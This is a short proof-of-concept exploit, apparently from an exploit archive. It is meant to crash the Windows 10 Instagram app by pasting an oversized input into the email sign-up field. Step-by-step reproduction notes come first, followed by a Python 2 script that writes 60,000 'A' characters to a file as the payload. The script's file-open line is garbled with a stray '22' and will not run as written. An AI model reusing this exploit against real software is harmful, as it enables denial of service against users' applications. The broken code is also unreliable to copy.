# Exploit Title: Instagram App 41.1788.50991.0 - Denial of Service (PoC)
# Exploit Author : Ali Alipour
# Date: 2018-08-25
# Vendor Homepage : https://www.instagram.com/
# Software Link Download : https://www.microsoft.com/en-us/p/instagram/9nblggh5l9xt?ocid=blitz_windowsblog&activetab=pivot%3aoverviewtab
# About : https://blogs.windows.com/windowsexperience/2016/10/13/instagram-app-for-windows-10-expands-to-pc-and-tablets/#SKp37OKfVaj7FRee.97
# Tested on : Windows 10 - 64-bit
 
# Steps to Reproduce
# Run the python exploit script, it will create a new 
# file with the name "Instagram.txt" just copy the text inside "Instagram.txt"
# and start the Instagram App - In Microsoft Windows 10 . 
# In The New Window Click " Sign Up With Phone Or Email " And Select Email Tab. 
# Now Paste The Content Of "Instagram.txt" Into The Field: " Email Address ". 
# Click "Next" And You Will See a [ Boom !!!! ] - Instagram App - In Microsoft Windows 10 Crash.
 
#!/usr/bin/python
     
buffer = "A" * 60000
payload = buffer
try:
    f=open("Instagram.txt",22"w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"